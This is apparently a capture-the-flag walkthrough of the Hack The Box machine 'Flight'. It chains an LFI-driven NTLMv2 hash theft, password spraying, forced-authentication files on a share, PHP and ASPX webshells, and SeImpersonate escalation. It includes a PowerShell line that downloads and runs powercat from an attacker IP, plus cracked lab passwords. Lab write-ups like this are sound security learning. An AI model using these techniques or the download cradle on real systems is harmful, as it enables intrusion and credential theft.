Flight
Flight
Overview
Flight is a hard-rated Windows machine. It starts with a website running two virtual hosts, one of which is vulnerable to LFI. We abuse the LFI to grab an NTLMv2 hash and crack it offline.
With the cleartext password in hand, we spray it across a list of valid usernames and find a password-reuse case that gives us another account. That account can write to a share, so we drop a file that forces other users to authenticate to us when they access it, letting us steal a second NTLMv2 hash. We crack that one too and use the credentials to write a PHP webshell onto the share that one of the virtual hosts is mounted on.
Having compromised the web service user, we move to the more privileged account from the second cracked hash and use it to write an ASPX webshell on a development web application that only listens on localhost.
This lands us a shell as the IIS application pool virtual account, which holds the SeImpersonatePrivilege which we abuse to escalate to NT AUTHORITY\SYSTEM.
Pwning
We start off with a nmap scan to identify the open ports
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
┌──(kali㉿kali)-[~/Desktop/OSCP/Prep/Flight]
└─$ cat 10.129.228.120.scan
# Nmap 7.99 scan initiated Mon Oct 5 14:15:54 2026 as: /usr/lib/nmap/nmap --privileged -vvv -p 53,80,88,135,139,389,445,464,593,636,3269,3268,5985,9389,49667,49673,49674,49699,49737 -4 -A -oN 10.129.228.120.scan -Pn 10.129.228.120
Nmap scan report for G0.flight.htb (10.129.228.120)
Host is up, received user-set (0.21s latency).
Scanned at 2026-10-05 14:15:59 WAT for 113s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: g0 Aviation
| http-methods:
| Supported Methods: POST OPTIONS HEAD GET TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-10-05 20:15:40Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49699/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49737/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.99%E=4%D=10/5%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=6AC3A380%P=x86_64-pc-linux-gnu)
SEQ(SP=105%GCD=1%ISR=10B%TI=I%II=I%SS=S%TS=U)
SEQ(SP=105%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=U)
OPS(O1=M552NW8NNS%O2=M552NW8NNS%O3=M552NW8%O4=M552NW8NNS%O5=M552NW8NNS%O6=M552NNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-10-05T20:16:40
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 50845/tcp): CLEAN (Timeout)
| Check 2 (port 32149/tcp): CLEAN (Timeout)
| Check 3 (port 21917/udp): CLEAN (Timeout)
| Check 4 (port 28337/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 6h59m31s
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 209.55 ms 10.10.14.1
2 209.75 ms G0.flight.htb (10.129.228.120)
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 5 14:17:52 2026 -- 1 IP address (1 host up) scanned in 118.65 seconds
From the presence of:
- 53 (DNS)
- 88 (Kerberos)
We can tell this is an Active Directory domain controller.
NetExec can be used to enumerate the host over SMB and pull its FQDN and domain name, which we then add to our local /etc/hosts file.
It’s also important to sync our local clock with the DC to avoid Kerberos clock-skew issues.
1
2
3
4
┌──(kali㉿kali)-[~/Desktop/OSCP/Prep/Flight]
└─$ sudo ntpdate flight.htb
2026-10-05 23:55:37.302022 (+0100) +678.814538 +/- 0.117473 flight.htb 10.129.101.114 s1 no-leap
CLOCK: time stepped by 678.814538
Starting with enumeration, our attack surface isn’t large since we don’t have any valid domain credentials yet, so we begin by authenticating to the services as an anonymous user.
With the SMB and LDAP services running, I tried to authenticate using null credentials.
That doesn’t work, so our focus shifts fully to the web application.
Accessing it shows that it’s an Airline Flight Planner.
The page is pretty much static and from the fingerprinting nmap did, we know that this is an Apache web server running PHP/8.1.1
I went ahead and fuzzed for files and directories but got nothing. Fuzzing for virtual hosts, however, gave me school.flight.htb.
After poking around the application, I noticed it loads pages through a file-inclusion parameter (e.g. ?view=), which immediately hints at a possible LFI.
Attempts to traverse shows it’s filtered and blocked.
Since I have no idea what filtering is in place, we can either try a few characters manually to see which ones get blocked, or fuzz the parameter with a payload list and see which entries succeed.
A useful observation from the fuzz output is that the filter doesn’t block any file read as long as the Windows path separator \ isn’t used… but that’s not much of a restriction, since forward slashes / work just as well on Windows for path traversal.
We could have also just read the source code index.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
ini_set('display_errors', 0);
error_reporting(E_ERROR | E_WARNING | E_PARSE);
if(isset($_GET['view'])){
$file=$_GET['view'];
if ((strpos(urldecode($_GET['view']),'..')!==false)||
(strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)||
(strpos(urldecode($_GET['view']),'\\')!==false)||
(strpos(urldecode($_GET['view']),'htaccess')!==false)||
(strpos(urldecode($_GET['view']),'.shtml')!==false)
){
echo "<h1>Suspicious Activity Blocked!";
echo "<h3>Incident will be reported</h3>\r\n";
}else{
echo file_get_contents($_GET['view']);
}
}else{
echo file_get_contents("C:\\xampp\\htdocs\\school.flight.htb\\home.html");
}
?>
This confirms our assumption, as we now know the filter in place.
Since the function file_get_contents is used, this makes getting RCE tough because it only gives us limited file read primitive.
I read the php.ini file to see if the dangerous option allow_url_include is enabled but unfortunately it isn’t.
Click to expand the full php.ini
┌──(kali㉿kali)-[~/Desktop/OSCP/Prep/Flight]
└─$ grep -Ev '^\s*(;|$)' a.txt
engine = On
short_open_tag = Off
precision = 14
output_buffering = 4096
zlib.output_compression = Off
implicit_flush = Off
unserialize_callback_func =
serialize_precision = -1
disable_functions =
disable_classes =
zend.enable_gc = On
zend.exception_ignore_args = Off
zend.exception_string_param_max_len = 15
expose_php = On
max_execution_time = 120
max_input_time = 60
memory_limit = 512M
error_reporting = E_ALL
display_errors = On
display_startup_errors = On
log_errors = On
ignore_repeated_errors = Off
ignore_repeated_source = Off
report_memleaks = On
variables_order = "GPCS"
request_order = "GP"
register_argc_argv = Off
auto_globals_jit = On
post_max_size = 40M
auto_prepend_file =
auto_append_file =
default_mimetype = "text/html"
default_charset = "UTF-8"
include_path = \xampp\php\PEAR
doc_root =
user_dir =
extension_dir = "\xampp\php\ext"
enable_dl = Off
file_uploads = On
upload_tmp_dir = "\xampp\tmp"
upload_max_filesize = 40M
max_file_uploads = 20
allow_url_fopen = On
allow_url_include = Off
default_socket_timeout = 60
extension=bz2
extension=curl
extension=fileinfo
extension=gettext
extension=mbstring
extension=exif ; Must be after mbstring as it depends on it
extension=mysqli
extension=pdo_mysql
extension=pdo_sqlite
asp_tags=Off
display_startup_errors=On
track_errors=Off
y2k_compliance=On
allow_call_time_pass_reference=Off
safe_mode=Off
safe_mode_gid=Off
safe_mode_allowed_env_vars=PHP_
safe_mode_protected_env_vars=LD_LIBRARY_PATH
error_log="\xampp\php\logs\php_error_log"
register_globals=Off
register_long_arrays=Off
magic_quotes_gpc=Off
magic_quotes_runtime=Off
magic_quotes_sybase=Off
extension=php_openssl.dll
extension=php_ftp.dll
[CLI Server]
cli_server.color = On
[Date]
[filter]
[iconv]
[imap]
[intl]
[sqlite3]
[Pcre]
[Pdo]
pdo_mysql.default_socket="MySQL"
[Pdo_mysql]
pdo_mysql.default_socket=
[Phar]
[mail function]
SMTP = localhost
smtp_port = 25
mail.add_x_header = Off
[ODBC]
odbc.allow_persistent = On
odbc.check_persistent = On
odbc.max_persistent = -1
odbc.max_links = -1
odbc.defaultlrl = 4096
odbc.defaultbinmode = 1
[MySQLi]
mysqli.max_persistent = -1
mysqli.allow_persistent = On
mysqli.max_links = -1
mysqli.default_port = 3306
mysqli.default_socket =
mysqli.default_host =
mysqli.default_user =
mysqli.default_pw =
mysqli.reconnect = Off
[mysqlnd]
mysqlnd.collect_statistics = On
mysqlnd.collect_memory_statistics = On
[OCI8]
[PostgreSQL]
pgsql.allow_persistent = On
pgsql.auto_reset_persistent = Off
pgsql.max_persistent = -1
pgsql.max_links = -1
pgsql.ignore_notice = 0
pgsql.log_notice = 0
[bcmath]
bcmath.scale = 0
[browscap]
browscap = "\xampp\php\extras\browscap.ini"
[Session]
session.save_handler = files
session.save_path = "\xampp\tmp"
session.use_strict_mode = 0
session.use_cookies = 1
session.use_only_cookies = 1
session.name = PHPSESSID
session.auto_start = 0
session.cookie_lifetime = 0
session.cookie_path = /
session.cookie_domain =
session.cookie_httponly =
session.cookie_samesite =
session.serialize_handler = php
session.gc_probability = 1
session.gc_divisor = 1000
session.gc_maxlifetime = 1440
session.referer_check =
session.cache_limiter = nocache
session.cache_expire = 180
session.use_trans_sid = 0
session.sid_length = 26
session.trans_sid_tags = "a=href,area=href,frame=src,form="
session.sid_bits_per_character = 5
[Assertion]
zend.assertions = 1
[COM]
[mbstring]
[gd]
[exif]
[Tidy]
tidy.clean_output = Off
[soap]
soap.wsdl_cache_enabled=1
soap.wsdl_cache_dir="/tmp"
soap.wsdl_cache_ttl=86400
soap.wsdl_cache_limit = 5
[sysvshm]
[ldap]
ldap.max_links = -1
[dba]
[opcache]
[curl]
curl.cainfo = "\xampp\apache\bin\curl-ca-bundle.crt"
[openssl]
openssl.cafile = "\xampp\apache\bin\curl-ca-bundle.crt"
[ffi]
[Syslog]
define_syslog_variables=Off
[Session]
define_syslog_variables=Off
[Date]
date.timezone=Europe/Berlin
[MySQL]
mysql.allow_local_infile=On
mysql.allow_persistent=On
mysql.cache_size=2000
mysql.max_persistent=-1
mysql.max_link=-1
mysql.default_port=3306
mysql.default_socket="MySQL"
mysql.connect_timeout=3
mysql.trace_mode=Off
[Sybase-CT]
sybct.allow_persistent=On
sybct.max_persistent=-1
sybct.max_links=-1
sybct.min_server_severity=10
sybct.min_client_severity=10
[MSSQL]
mssql.allow_persistent=On
mssql.max_persistent=-1
mssql.max_links=-1
mssql.min_error_severity=10
mssql.min_message_severity=10
mssql.compatability_mode=Off
mssql.secure_connection=OffI also read the virtual host configuration file to check for any vhosts I might have missed. It’s located at C:/xampp/apache/conf/extra/httpd-vhosts.conf
1
2
3
4
5
6
7
8
<VirtualHost *:80>
DocumentRoot "C:\xampp\htdocs\flight.htb"
ServerName flight.htb
</VirtualHost>
<VirtualHost *:80>
DocumentRoot "C:\xampp\htdocs\school.flight.htb"
ServerName school.flight.htb
</VirtualHost>
But yeah, nothing is missing.
Since there aren’t really any more service configurations worth reading, I decided to go for NTLMv2 hash theft.
It works because allow_url_fopen is enabled in the PHP configuration, which lets file_get_contents to open remote/stream paths. And although the filter tries to block UNC paths it doesn’t account for forward slashes.
We’re able to steal the NTLMv2 hash because Windows auto-authenticates to SMB. When any Windows process opens a \host\share path, the SMB client automatically tries to authenticate using the identity of the account the process runs as. Since the attacker IP isn’t a real domain-joined server it can do Kerberos with, the client falls back to NTLM.
The NTLM handshake is challenge-response:
- The rogue server (Responder) sends an 8-byte challenge.
- The client answers with an NTLMv2 response = HMAC computed over the challenge using the NT hash of the account’s password.
Responder logs the username, domain, challenge, and response. Together those form the crackable NTLMv2 hash.
Here’s how I did it on the machine.
And with that, I was able to crack the hash
1
svc_apache:S@Ss!K@*t13
The user only has READ access over all available shares
We can use nxc to enumerate the domain users
Then password sprayed against all the domain controller users using the password for svc_apache
We got a hit for S.Moon and this makes sense because the user S.Moon is the junior web developer, meaning he reused his password for the service account svc_apache
This user has READ,WRITE access on the share Shared
Judging by the name, it’s a file share accessible to the web developers. Realistically, we’d expect c.bum to browse it at some point, since he’s the senior web developer which sets up another hash-theft opportunity.
Before poking around the shares, I decided to map out the AD environment to check whether the compromised user has any notable ACEs or rights worth abusing.
Since there are none, I went ahead to enumerate the shares.
Based on the readable files in the shares, there’s nothing much worth noting aside from the fact that the vhost web root is mounted as the Web share.
From the recon done, we know Shared is writable, which gives us an opportunity to perform NTLMv2 hash theft.
The tool of choice here is ntlm_theft. Usually I’d go for nxc’s slinky module, but the share for some reason doesn’t accept certain files like .lnk. ntlm_theft is a good fit because it generates a bunch of different file formats that can force SMB authentication (you know the drill :>).
After a few minutes, I got a hit on responder. Just like we assumed, the user c.bum accessed the file.
1
c.bum:Tikkycoll_431012284
Compromising this user gives us WRITE permission over the Web share.
Since this is where the vhost web root is mounted, we can simply drop a PHP webshell here.
Getting a reverse shell from here is straightforward. I made use of powercat.

1
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("IEX(New-Object System.Net.WebClient).DownloadString('http://$IP/powercat.ps1');"))
I tried escalating privileges from this user (PowerUp, winPEAS), but didn’t really get much aside some other service running on port 8000. 
This service hosts a web application, which I confirmed by sending a curl request to it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> GET / HTTP/1.1
> Host: 127.0.0.1:8000
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Cache-Control: private
< Content-Type: text/html; charset=utf-8
< Server: Microsoft-IIS/10.0
< X-Powered-By: ASP.NET
< Date: Mon, 05 Oct 2026 22:04:43 GMT
< Content-Length: 4848
<
* Connection #0 to host 127.0.0.1 left intact
It’s set up to only be accessible internally, so we have to port-forward it to our host.
I made use of chisel.
Back on the server, the path C:\inetpub reveals the application structure. 
This can be confirmed by browsing to /development on the web app. 
Neither svc_apache nor s.moon can write to that directory, however.
Remember that we have a privileged web developer account (c.bum), and this user has a session on the DC.
Although the credentials don’t work over winrm, we can run a command as that user with the built-in runas command.
I made use of a C# alternative called RunasCs. 
Now that I’m able to write to that directory, I went for an ASPX webshell upload.
Since we landed a shell as the IIS application pool virtual account, the account holds the SeImpersonatePrivilege.
We can abuse this with SigmaPotato.
And with that, we can read the Administrator flag.
That’s all! ありがとうございます!😊









































